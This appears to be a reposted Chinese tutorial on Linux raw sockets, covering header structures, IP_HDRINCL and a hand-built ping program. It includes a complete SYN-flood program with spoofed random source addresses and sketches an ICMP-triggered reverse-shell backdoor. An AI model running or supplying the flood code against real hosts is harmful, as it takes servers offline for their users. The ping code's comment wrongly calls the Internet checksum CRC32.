Linux基础(11)原始套接字

Posted yxnrh

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux基础(11)原始套接字相关的知识,希望对你有一定的参考价值。

               一边接收函数返回一边判断返回值时一定要把接收的优先级加()提高再去判断 例 if((sockfd = socket()) < 0)

问题: 如何实现SYN扫描器扫描端口 , 比如AB两个设备要进行连接 , A通过端口发一个SYN包给B,B在收到后返回一个ACK包确认连接 , 但是在不确定B端口号时

   该如何进行连接 , 答: A给B的每一个端都发一个SYN包, 如果哪个有返回说明端口是开放的, TCP和UDP都无法发实现这样的连接方式 , 所以要使用原始套接字


#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

 

struct iphdr {
#if defined(__LITTLE_ENDIAN_BITFIELD)
    __u8    ihl:4,
        version:4;
#elif defined(__BIG_ENDIAN_BITFIELD)
    __u8    version:4,
        ihl:4;
#else
#error    "Please fix <asm/byteorder.h>"
#endif
    __u8    tos;
    __u16    tot_len;
    __u16    id;
    __u16    frag_off;
    __u8    ttl;
    __u8    protocol;
    __u16    check;
    __u32    saddr;
    __u32    daddr;
    /*The options start here. */
};

struct tcphdr {
    __be16 source;
    __be16 dest;
    __be32 seq;
    __be32 ack_seq;
#if defined(__LITTLE_ENDIAN_BITFIELD)
    __u16 res1:4,
    doff:4,
    fin:1,
    syn:1,
    rst:1,
    psh:1,
    ack:1,
    urg:1,
    ece:1,
    cwr:1;
#elif defined(__BIG_ENDIAN_BITFIELD)
    __u16 doff:4,
    res1:4,
    cwr:1,
    ece:1,
    urg:1,
    ack:1,
    psh:1,
    rst:1,
    syn:1,
    fin:1;
    #else
    #error "Adjust your <asm/byteorder.h> defines"
    #endif
    __be16 window;
    __sum16 check;
    __be16 urg_ptr;
};


struct hostent{

    char * h_name;

    char ** h_aliases;

    short h_addrtype;

    short h_length;

    char ** h_addr_list;

    #define h_addr h_addr_list[0];  

};

  gethostbyname:  https://blog.csdn.net/daiyudong2020/article/details/51946080

  1.套接字: 使用内核提供的默认协议包 

    内核通过int socket( int af, int type, int protocol); 第三参数来决定要使用什么协议 , 第二参数是决定套接字的类型,SOCK_STREAM或SOCK_DGRAM等类型

                 而SOCK_STREAM默认是使用TCP协议 , 所以第三参数可以为0 默认使用TCP每个协议都一个协议对象 , 协议对象的结构: 

struct socket {
    socket_state        state;
    kmemcheck_bitfield_begin(type);
    short            type;
    kmemcheck_bitfield_end(type);
    unsigned long        flags;
    struct socket_wq __rcu    *wq;
    struct file        *file;
    struct sock        *sk;
    const struct proto_ops    *ops;  //存放函数指针,例如*bind() *connect()等socket方法 , 针对不同的协议,其方法的实现也不同
};    

  2.原始套接字:  自行选择协议包  所有的原始套接字要使用root权限运行 , 原始套接字最重要的不是其编程方式, 是他的编程协议

      ls -al 查看全部文件的权限 , ls -l filename 查看指定文件或程序的权限

      linux在root权限下使用 chown root:root [file name] 进行修改文件的拥有者 , chmod u+s [file name] 文件可以在普通用户下临时提权运行

    socket( int af, int type, int protocol);要使用原始套接字第二参数要选SOCK_RAW 

  3.套接字选项 : 设置选项setsockopt(struct socket *sock, int level, int optname,char *optval, unsigned int optlen)  获取选项getsockopt

    可以对socket进行更深入的操作比如开启广播和组播的开关等...level 和 optname是父子关系两个组合使用, optval 是指optname的状态

    比如level  = SOL_SOCKET 有设置广播开关 optname = SO_BROADCAST ,optval = 1开启 0关闭 更能设置套接字的缓冲区及大小等操作

    具体使用看前述的 (05)笔记

    MAC ----> IP ----->TCP/UDP/ICMP------>DATA  TCP等,都是基于IP , 所以IP可以控制其本身及以上的报文

    MAC最底层 ,TCP/UDP层属于IP层的数据包, 如图 , 如果不打开IP层我们只能控制data层 但是我们打开了IP层可以通过IP层来控制TCP层协议和data层数据

    技术图片

    技术图片

   技术图片

 

    如果开启了IPPROTO_IP选项里的IP_HDRINCL, 那么IP层及IP层往上的数据和报文要自行组装了

    ip首部 : https://www.cnblogs.com/lancidie/archive/2013/05/16/3082378.html   https://www.cnblogs.com/red-code/p/7132023.html

   4.如何学习某一种协议 ,   

    静态的学习: 分析协议的结构, 比如ICMP 属于IP 的一部分和TCP一个级别 还有ICMP的组成的结构有那些作用和怎么设置

    技术图片

    动态的学习:  通过抓wireshak等抓包工具, 抓一个包, 分析其发送和返回的数据是什么类型type 及数据等等

   例子: dos拒绝访问攻击, 通过大量的端口扫描(不同的ip 不断的对目标端口发送SYN包)让被攻击的服务器过载,从而拒绝用户的访问

技术图片
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <linux/tcp.h>

//我们自己写的攻击函数
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//如果什么都让内核做,那岂不是忒不爽了,咱也试着计算一下校验和。
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char** argv){
        int skfd;
        struct sockaddr_in target;
        struct hostent *host;
        const int on=1;
        unsigned short srcport;

        if(argc!=4)
        {
                printf("Usage:%s target dstport srcport
",argv[0]);
                exit(1);
        }
        
        //DNS协议解析
        bzero(&target,sizeof(struct sockaddr_in));
        target.sin_family=AF_INET;
        target.sin_port=htons(atoi(argv[2]));

        if(inet_aton(argv[1],&target.sin_addr)==0)
        {
                host=gethostbyname(argv[1]);
                if(host==NULL)
                {
                        printf("TargetName Error:%s
",hstrerror(h_errno));
                        exit(1);
                }
                target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        }

        //将协议字段置为IPPROTO_TCP,来创建一个TCP的原始套接字
        if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
                perror("Create Error");
                exit(1);
        }

        //用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
         if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
                perror("IP_HDRINCL failed");
                exit(1);
        }

        //因为只有root用户才可以play with raw socket :)
        setuid(getpid());
        
        srcport = atoi(argv[3]);
        attack(skfd,&target,srcport);
}

//在该函数中构造整个IP报文,最后调用sendto函数将报文发送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport){
        char buf[128]={0};
        struct ip *ip;
        struct tcphdr *tcp;
        int ip_len;

        //在我们TCP的报文中Data没有字段,所以整个IP报文的长度
        ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
        //开始填充IP首部
        ip=(struct ip*)buf;

        ip->ip_v = IPVERSION;
        ip->ip_hl = sizeof(struct ip)>>2;
        ip->ip_tos = 0;
        ip->ip_len = htons(ip_len);
        ip->ip_id=0;
        ip->ip_off=0;
        ip->ip_ttl=MAXTTL;
        ip->ip_p=IPPROTO_TCP;
        ip->ip_sum=0;
        ip->ip_dst=target->sin_addr;

        //开始填充TCP首部
        tcp = (struct tcphdr*)(buf+sizeof(struct ip));
        tcp->source = htons(srcport);
        tcp->dest = target->sin_port;
        tcp->seq = random();
        tcp->doff = 5;
        tcp->syn = 1;
        tcp->check = 0;

        while(1){
                //源地址伪造,我们随便任意生成个地址,让服务器一直等待下去
                ip->ip_src.s_addr = random();
                tcp->check=check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
                sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
        }
}


unsigned short check_sum(unsigned short *addr,int len){
        register int nleft=len;
        register int sum=0;
        register short *w=addr;
        short answer=0;

        while(nleft>1)
        {
                sum+=*w++;
                nleft-=2;
        }
        if(nleft==1)
        {
                *(unsigned char *)(&answer)=*(unsigned char *)w;
                sum+=answer;
        }

        sum=(sum>>16)+(sum&0xffff);
        sum+=(sum>>16);
        answer=~sum;
        return(answer);
}
dos

  dos洪水攻击的实现是 , 利用TCP协议的三次握手原理 自己组一个IP头和TCP头,然后发送SYN包,且不接收ACK包 , 让目标服务器一直处于等待第三次握手状态

                                                     让目标服务器一直消耗端口资源

 


 5.ICMP协议 , ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

   ICMP的结构及其值: https://blog.csdn.net/baidu_37964071/article/details/80514340 

      技术图片

 

 

      技术图片

    

struct icmphdr

{ unsigned char icmp_type; //消息类型 
unsigned char icmp_code; //代码
unsigned short icmp_checksum; //校验和
unsigned short icmp_id; //ID号
unsigned short icmp_sequence; //序列号
unsigned long icmp_TImestamp; //时间戳
} ICMP_HDR,*PICMP_HDR;

ICMP报文格式 https://network.51cto.com/art/201905/597141.htm

icmp校验和的计算 https://blog.csdn.net/zhj082/article/details/80518322

    如上图, 通过wireshaak抓了ping包的数据 , 和ICMP协议的选项一 一对应, 更可以通过ttl分析出目标及源的操作系统

    ICMP协议可以发送什么就返回什么 ,ping的实现也是基于ICMP协议 

技术图片
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <setjmp.h>
#include <errno.h>

#define PACKET_SIZE             4096
#define MAX_WAIT_TIME       5
#define MAX_NO_PACKETS      4
#define DATA_LEN            56

char sendpacket[PACKET_SIZE];
char recvpacket[PACKET_SIZE];

int nsend=0,nreceived=0;
struct timeval tvrecv;

struct sockaddr_in from;


void tv_sub(struct timeval *out,struct timeval *in)
{       
    if( (out->tv_usec-=in->tv_usec)<0)        
    {       
        --out->tv_sec;                
        out->tv_usec+=1000000;        
    }        
    out->tv_sec-=in->tv_sec;
}


void statistics(int signo)
{
    printf("
--------------------PING statistics-------------------
");        
    printf("%d packets transmitted, %d received , %%%f lost
",nsend,nreceived,(nsend-nreceived)*1.0/nsend*100);        
           
    exit(1);
}


//crc32的校验计算方法
unsigned short cal_chksum(unsigned short *addr,int len)
{       
    int nleft=len;        
    int sum=0;        
    unsigned short *w=addr;        
    unsigned short answer=0;        
    
    while(nleft>1)        
    {       
        sum+=*w++;                
        nleft-=2;        
    }
    
    if( nleft==1)        
    {       
        *(unsigned char *)(&answer)=*(unsigned char *)w;                
        sum+=answer;        
    }        

    sum=(sum>>16)+(sum&0xffff);        
    sum+=(sum>>16);        
    answer=~sum;        

    return answer;
}


/*****************************************************************************
 函 数 名  : pack
 功能描述  : 配置封装icmp包
 输入参数  :  int pack_no ,int pid
 输出参数  : 无
 返 回 值  : int
 调用函数  : 
 被调函数  : 
 
 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
int pack( int pack_no ,int pid  )
{
    int i , packsize;
    struct icmp* m_icmp;
    struct timeval* tval;

    m_icmp = (struct icmp*)sendpacket;    //指向并设置全局的icmp包
    m_icmp->icmp_type = ICMP_ECHO;        //类型 :8 回应请求
    m_icmp->icmp_code = 0;                //代码
    m_icmp->icmp_cksum = 0;                //校验和
    m_icmp->icmp_seq = pack_no;            //序号,代表第几个包
    m_icmp->icmp_id = pid;                //id ,接收时确定哪个进程接收
    packsize = 8+DATA_LEN;                //8:timeval + data_len 
    tval = (struct timeval*)m_icmp->icmp_data;
    gettimeofday(tval ,NULL);            //把当前时间填充到icmp_data里
    
    m_icmp->icmp_cksum = cal_chksum((unsigned short*)m_icmp , packsize);//校验和 
    return packsize;    
}


/*****************************************************************************
 函 数 名  : send_packet
 功能描述  : 发送封装好的icmp包
 输入参数  : int sockfd, int pid , struct sockaddr_in sockaddr 
 输出参数  : 无
 返 回 值  : void
 调用函数  : 
 被调函数  : 
 
 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
void send_packet( int sockfd, int pid , struct sockaddr_in dest_addr )
{
    int packetsize;
    while(nsend<MAX_NO_PACKETS)        //发送次数
    {
        nsend++;                    //也可用作icmp的序号
        packetsize = pack(nsend,pid);    
        if ( sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)) < 0 )
        {
            perror("sendto");
            continue;
        }
        sleep(1);
    }
}


/*****************************************************************************
 函 数 名  : unpack
 功能描述  : 解封icmp包
 输入参数  : char* buf,int len ,int pid
 输出参数  : 无
 返 回 值  : int
 调用函数  : 
 被调函数  : 
 
 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
int unpack(char *buf,int len,int pid)
{       
    int i,iphdrlen;        
    struct ip *ip;        
    struct icmp *icmp;        
    struct timeval *tvsend;        
    double rtt;  
    
    ip=(struct ip *)buf;        
    iphdrlen=ip->ip_hl<<2;       
    
    icmp=(struct icmp *)(buf+iphdrlen);   
    
    len-=iphdrlen;               
    if( len<8)                     
    {       
        printf("ICMP packets‘s length is less than 8
");                
        return -1;        
    }     
    
    if( (icmp->icmp_type==ICMP_ECHOREPLY) && (icmp->icmp_id==pid) )        
    {       
        tvsend=(struct timeval *)icmp->icmp_data;                
        tv_sub(&tvrecv,tvsend);             
        rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000;                
        printf("%d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms
",len,inet_ntoa(from.sin_addr),icmp->icmp_seq, ip->ip_ttl,rtt);        
    }        
    else    
        return -1;
}



/*****************************************************************************
 函 数 名  : recv_packet
 功能描述  : 接收回应的icmp包
 输入参数  : int sockfd, int pid
 输出参数  : 无
 返 回 值  : void
 调用函数  : 
 被调函数  : 
 
 修改历史      :
  1.日    期   : 2019年12月11日 星期三
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
void recv_packet(int sockfd,int pid)
{       
    int n,fromlen;        
    extern int errno;        
    signal(SIGALRM,statistics);        
    fromlen=sizeof(from);        
    while( nreceived<nsend)        
    {       
        alarm(MAX_WAIT_TIME);                
        if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen)) <0)                
        {       
            if(errno==EINTR)continue;                        
            perror("recvfrom error");                        
            continue;                
        }                
        gettimeofday(&tvrecv,NULL);                 
        if(unpack(recvpacket,n,pid)==-1)
            continue;                
        nreceived++;        
    }
}


/*****************************************************************************
 函 数 名  : main
 功能描述  : main
 输入参数  : int argc , char *argv[]
 输出参数  : 无
 返 回 值  : int
 调用函数  : 
 被调函数  : 
 
 修改历史      :
  1.日    期   : 2019年12月8日 星期日
    作    者   : ljf
    修改内容   : 新生成函数

*****************************************************************************/
int main( int argc , char *argv[] )
{
    if ( argc < 2 )
    {
        perror("argv");
        exit(1);
    }

    int sockfd;                            //绑定协议
    struct sockaddr_in dest_addr;        //目标IP
    pid_t pid;                            //指定当前程序接收返回的icmp包
    struct hostent *host;                //用于保存目标IP,主机名和其别名
    int waittime = MAX_WAIT_TIME;        //超时时间
    int bufsize = 50*1024;                //改变缓冲区大小
    unsigned long inaddr = 0;            //转换IP用

    bzero(&dest_addr,sizeof(dest_addr));

    if ( (sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) < 0 )
    {
        perror("socket");
        exit(2);
    }

    setuid(getuid());        //确保在root权限下运行

    setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&bufsize,sizeof(bufsize));    //改变接收缓冲区的大小

    //分配目标配置,开始进行和sockfd绑定
    dest_addr.sin_family = AF_INET;
    if ((inaddr = inet_addr(argv[1])) == INADDR_NONE )    //点分十进制的IP转换成长整型接收并判断是否有效
    {
        if ((host = gethostbyname(argv[1])) == NULL)    //解析域名,获得目标的IP并保存
        {
            perror("gethostbyname");
            exit(3);
        }
        //把获取到的目标host->h_addr_list的第一个[0]赋值给sockaddr.sin_addr
        memcpy((char*)&(dest_addr.sin_addr),host->h_addr,host->h_length);
    }
    else{
        //到了这里说明输入的是一个有效的IP , 将转换成长整型的argv[1]赋值给dest_addr.sin_addr
        memcpy((char*)&(dest_addr.sin_addr),(char*)&inaddr,sizeof(inaddr));
    }
    printf("ping %s: %s , ICMP bytes: %d
", argv[1],inet_ntoa(dest_addr.sin_addr),DATA_LEN);

    pid = getpid();    //获得当前进程用于让返回的ICMP包返回给当前进程

    send_packet(sockfd,pid,dest_addr);
    recv_packet(sockfd,pid);
    statistics(SIGALRM);
    close(sockfd);    
    return 0;
}
MyIcmp_ping

 

    ICMP反弹shell木马程序可以利用ping包给已经种了一个后门(通过一种暗号确定是否要接收的ping包)的目标服务器发送一个ping包,通过data里的TCP回连让原始套接字必须root权限执行的特点,返回目标服务器的shell , 从而获得root权限的shell , 因为一般的服务器有防火墙不让服务器往外连接 , 所以也可以通过其同一局域网,且不被防火墙拦截的PC作为跳板获取目标服务器的shell

 


 

总结: 原始套接字是基于内核提供的协议对象(比如 IP ,TCP ,ICMP协议) , 使用setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on(=1),sizeof(on)) , 可以自行手动构造IP及以上的报文 , 如果不需要手动构造IP报文, 可以不开启IP_HDRINCL, 只需创建并填充IP之上的协议对象(比如ICMP)和data即可 , 填充好协议对象后通过sendto对目标进行发送(协议和data封装在一起的)数据包 , 如需要接收data , 则可以通过recvfrom接收后 创建和发送端对等的协议对象,并对数据包里的data进行操作

        原始套接字最重要的还是对协议的理解及使用

技术图片

 

 

以上是关于Linux基础(11)原始套接字的主要内容,如果未能解决你的问题,请参考以下文章

即使设置 cap_net_raw 也无法在 linux 容器中打开原始套接字

为啥我不能在 Ubuntu 中创建原始套接字?

Linux Socket 原始套接字编程

linux原始套接字-icmp请求与接收

Linux网络编程:原始套接字的魔力上

linux原始套接字-构造IP_UDP